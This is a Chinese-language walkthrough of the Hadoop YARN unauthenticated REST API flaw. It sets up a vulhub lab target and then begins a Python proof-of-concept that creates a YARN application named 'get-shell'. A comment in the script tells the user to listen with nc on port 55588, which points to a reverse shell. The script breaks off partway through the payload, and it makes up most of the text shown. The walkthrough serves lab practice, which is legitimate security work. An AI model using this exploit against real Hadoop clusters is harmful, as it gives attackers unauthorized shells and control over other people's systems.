#0x00
Hadoop是一个由Apache基金会所开发的分布式系统基础架构。用户可以在不了解分布式底层细节的情况下,开发分布式程序。充分利用集群的威力进行高速运算和存储。
版本3.0.0以下存在Hadoop-yarn-RPC漏洞
#0x01
启动vulhub靶场
cd /vulhub/hadoop/unauthorized-yarn
docker-compose up -d
访问页面如下:
#0x02
POC代码如下
#!/usr/bin/env python
import requests
import sys
target = 'http://123.x.x.x'#目标ip
lhost = '39.x.x.x' #将你的本地ip填在这里,使用nc监听55588端口
target = sys.argv[1]
url = target + '/ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + '/ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'comma